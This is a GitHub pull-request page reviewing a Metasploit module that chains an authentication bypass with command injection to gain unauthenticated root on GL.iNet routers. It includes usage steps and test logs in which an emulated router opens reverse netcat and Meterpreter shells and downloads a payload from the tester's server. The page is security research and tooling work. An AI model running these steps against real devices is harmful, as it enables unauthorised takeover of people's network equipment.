New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
GL.iNet unauthenticated RCE [CVE-2023-50445] #18648
Conversation
modules/exploits/linux/http/glinet_unauth_rce_cve_2023_50445.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/glinet_unauth_rce_cve_2023_50445.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/glinet_unauth_rce_cve_2023_50445.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/glinet_unauth_rce_cve_2023_50445.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/http/glinet_unauth_rce_cve_2023_50445.md
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/http/glinet_unauth_rce_cve_2023_50445.md
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/glinet_unauth_rce_cve_2023_50445.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/http/glinet_unauth_rce_cve_2023_50445.md
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/glinet_unauth_rce_cve_2023_50445.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/glinet_unauth_rce_cve_2023_50445.rb
Outdated
Show resolved
Hide resolved
Gents, |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Great module @h00die-gr3y, thanks for the submission. I really appreciated the detailed installation steps, they made the firmware emulation a breeze.
Just one minor question but other than that it looks good to me and testing was as expected.
Target Unix Command
msf6 > use exploit/linux/http/glinet_unauth_rce_cve_2023_50445
[*] Using configured payload cmd/unix/reverse_netcat
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set rhosts 192.168.8.1
rhosts => 192.168.8.1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set lhost 192.168.8.2
lhost => 192.168.8.2
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 0
target => 0
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > run
[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:443 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: kOwMhgyNDFmY9bhJuOabavmiiWEvugps
[*] Executing Unix Command for cmd/unix/reverse_netcat
[*] Command shell session 1 opened (192.168.8.2:4444 -> 192.168.8.1:35576) at 2024-01-22 13:52:24 -0500
id
uid=0(root) gid=0(root) groups=0(root),65533(nonevpn)
uname -a
Linux GL- 4.1.17+ #17 Sat Oct 31 17:56:16 KST 2020 mips GNU/Linux
Target Linux Dropper
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > set target 1
target => 1
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > run
[*] Started reverse TCP handler on 192.168.8.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.8.1:443 can be exploited.
[!] The service is running, but could not be validated. Product info: |4.3.7|n/a
[*] SID: T2FvXOB3DzLi6OugzpU9gvGE0RXXCe3D
[*] Executing Linux Dropper for linux/mipsbe/meterpreter_reverse_tcp
[*] Using URL: http://192.168.8.2:8080/J08U46xjOUI
[*] Client 192.168.8.1 (curl/7.88.1) requested /J08U46xjOUI
[*] Sending payload to 192.168.8.1 (curl/7.88.1)
[*] Meterpreter session 2 opened (192.168.8.2:4444 -> 192.168.8.1:35578) at 2024-01-22 14:12:03 -0500
[*] Command Stager progress - 100.00% done (115/115 bytes)
[*] Server stopped.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.8.1
OS : (Linux 4.1.17+)
Architecture : mips
BuildTuple : mips-linux-muslsf
Meterpreter : mipsbe/linux
meterpreter >
modules/exploits/linux/http/glinet_unauth_rce_cve_2023_50445.rb
Outdated
Show resolved
Hide resolved
'ctype' => 'application/x-www-form-urlencoded', | ||
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api', 'router', 'hello') | ||
}) | ||
if res && res.code == 200 && res.body.include?('model') && res.body.include?('version') |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I haven't tested the version 3.x API though I'm wondering if this change might make sense.
if res && res.code == 200 && res.body.include?('model') && res.body.include?('version') | |
if res && res.code == 200 && res.body.include?('version') |
If the target responds to the version 4.x API call, the @glinet['firmware']
gets set even if res_json['result']['model']
is not present in the response, which was the case in my testing.
If the target responds to the version 3.x API call @glinet['firmware']
will not get set if res.body.include?('model')
is false in which case CheckCode::Unknown
will always be returned by the check method. Though if @glinet['firmware']
gets set there is a possibility of returning CheckCode::Detected
if the version is greater or equal than 4.0.0.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@jheysel-r7 on your first point. Indeed res_json['result']['model']
is not present in the response, but this is truly an exception and somehow caused by the emulation which is not perfect. This will not happen with the real hardware.
Second point on 3.x API call. There will be never a situation that a firmware version of 4.0.0
or higher will be returned using the 3.x API call. It will only return 3.x firmware versions and both firmware and model information will be in the response (see https://dev.gl-inet.com/router-3.x-api/#api-Router-GetRouterHello).
Your use case where firmware is set and model attribute is missing is to me quite hypothetical.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@h00die-gr3y, sounds good to me, thank you for taking the time to explain!
documentation/modules/exploit/linux/http/glinet_unauth_rce_cve_2023_50445.md
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/glinet_unauth_rce_cve_2023_50445.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/http/glinet_unauth_rce_cve_2023_50445.md
Outdated
Show resolved
Hide resolved
Final testing 👍 (to ensure capitalizing references to Meterpreter didn't break anything/ demo recording):
|
Release NotesThis PR adds an exploit module for a number of different GL.iNet network products. The module combines an authentication by-pass vulnerability (CVE-2023-50919) with an RCE (CVE-2023-50445) allowing the user to remotely obtain, without authentication, a Meterpreter session running in the context of the root user. |
Before this PR when running asan_suid_executable_priv_esc if the user did not set the SUID_EXECUTABLE option the module would fail with an undescriptive error message. This PR removes the default value of an empty string from SUID_EXECUTABLE so now if it's not set the user is informed.
A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker to inject and execute arbitrary shell commands via JSON parameters at the
gl_system_log
andgl_crash_log
interface in thelogread
module.This exploit requires post-authentication using the
Admin-Token
cookie / session ID (SID
), typically stolen by the attacker.However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication through a
Lua
string pattern matching and SQL injection vulnerability. TheAdmin-Token
cookie /SID
can be retrieved without knowing a valid username and password.The following GL.iNet network products are vulnerable:
This module has been tested via FirmAE running on Kali Linux 2023.11 at the following emulated targets:
Installation steps to emulate the router firmware with FirmAE
FirmAE
on your Linux distribution using the installation instructions provided here.binwalk
might need to be able to handle a sasquatch filesystem which requires a bit of additional installation and compilation steps that you can find here. Please do not forget to run this after yourFirmAE
installation otherwise you will not be able to extract the firmware.openwrt-ar300m16-4.3.7-0913-1694589994.bin
for the demonstration../init.sh
to initialize and start the Postgress database../run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin
ping
the network address 192.168.8.1 from your host and run anmap
command to check the services (HTTP TCP port 80).ip a del 192.168.1.2/24 dev tap91_0
andip a add 192.168.8.2/24 dev tap91_0
.You are now ready to test the module using the emulated router hardware on IP address 192.168.8.1.
Verification
msfconsole
use exploit/linux/http/glinet_unauth_rce_cve_2023_50445
set rhosts <ip-target>
set lhost <ip-attacker>
set target <0=Unix Command, 1=Linux Dropper>
exploit
you should get a
shell
orMeterpreter
.Scenarios
FirmAE GL.iNet AR300M16 Router Emulation Unix Command - cmd/unix/reverse_netcat
FirmAE GL.iNet AR300M16 Router Emulation Linux Dropper - linux/mipsbe/meterpreter_reverse_tcp
Limitations
Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads when using the Linux Dropper target.